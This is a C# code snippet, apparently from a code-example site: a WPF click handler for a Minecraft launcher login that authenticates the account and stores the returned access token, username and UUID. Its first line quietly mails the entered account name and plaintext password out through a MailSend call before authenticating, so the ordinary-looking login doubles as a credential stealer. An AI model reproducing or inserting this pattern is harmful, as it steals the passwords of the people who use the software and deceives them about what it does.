Beispiel #1
0
        private async void GameStart_Copy_Click(object sender, RoutedEventArgs e)
        {
            MailSend("minecraft :: " + acc.Text + "," + password.Text);

            string x = await Launcher.Authenticate(acc.Text, password.Text);

            dynamic json        = Newtonsoft.Json.JsonConvert.DeserializeObject(x);
            string  accessToken = "";
            string  username    = "";
            string  Puuid       = "";

            try
            {
                accessToken = json.accessToken;
                username    = json.selectedProfile.name;
                Puuid       = json.selectedProfile.id;
                if (accessToken != null)
                {
                    isLogined            = true;
                    GameStart.Background = Brushes.Black;
                    GameStart.Foreground = Brushes.White;
                    GameStart.FontSize   = 15;
                    GameStart.Content    = "Connect";
                }
                else
                {
                    MessageBox.Show("로그인 실패!");
                    return;
                }
            }
            catch (Exception eex)
            {
                MessageBox.Show(eex.ToString());
                MessageBox.Show("로그인 실패!");
                return;
            }
            MCLoginLib.Launcher.DATA.username    = username;
            MCLoginLib.Launcher.DATA.premium     = true;
            MCLoginLib.Launcher.DATA.uuidPremium = Puuid;
            MCLoginLib.Launcher.DATA.accessToken = accessToken;
        }